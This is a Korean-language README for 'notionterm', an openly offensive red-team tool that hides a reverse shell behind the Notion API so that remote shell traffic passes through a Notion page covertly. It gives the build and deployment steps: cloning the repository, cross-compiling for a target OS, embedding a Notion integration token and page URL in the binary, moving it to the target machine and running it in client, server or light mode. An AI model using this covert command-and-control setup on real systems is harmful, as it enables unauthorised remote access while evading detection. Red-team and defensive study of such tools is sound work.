
Notion API를 프록시로 사용하여 Notion 페이지에 리버스 셸을 임베드함으로써, 암호화 및 인증된 통신을 통해 은밀한 원격 셸 세션을 가능하게 하여 레드 팀 작전을 지원합니다.

notionterm을 실행하세요.
OffensiveNotion 및 notionion의 훌륭한 아이디어에서 대략 영감을 받았습니다!
명령어와 플래그를 배우는 것은 너무 지루합니다: wrap-notionterm.sh를 사용하세요
notionterm을 빌드하고 대상 머신으로 전송하세요. (Build 참고)notionterm을 실행하는 세 가지 주요 방법이 있습니다:
notionterm [flags]
ON으로 전환하여 리버스 셸 작업 수행, OFF로 전환하여 일시 중지, ON으로 전환하여 재개 등...
notionterm --server [flags]
CTRL+L로 페이지 ID 확인): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].
light 모드
notionterm light [flags]
notionterm은 대상 머신에서 실행되도록 설계되었으므로 대상에 맞게 빌드해야 합니다.
따라서 대상 요구사항에 맞게 환경 변수를 설정하세요:
GOOS=[windows/linux/darwin]
git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go
환경 변수(NOTION_TOKEN 및 NOTION_PAGE_URL) 또는 플래그(--token 및 --page-url)를 사용하여 API 키와 Notion 페이지 URL을 설정해야 합니다.
Notion 통합 API 토큰과 페이지 URL을 바이너리에 직접 임베드합니다. ⚠️ 바이너리에 접근 권한이 있는 모든 사람이 토큰을 검색할 수 있습니다. 보안상의 이유로 공유하지 말고 사용 후 제거하세요.
해당 환경 변수 설정:
export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]
그리고 빌드하세요:
git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS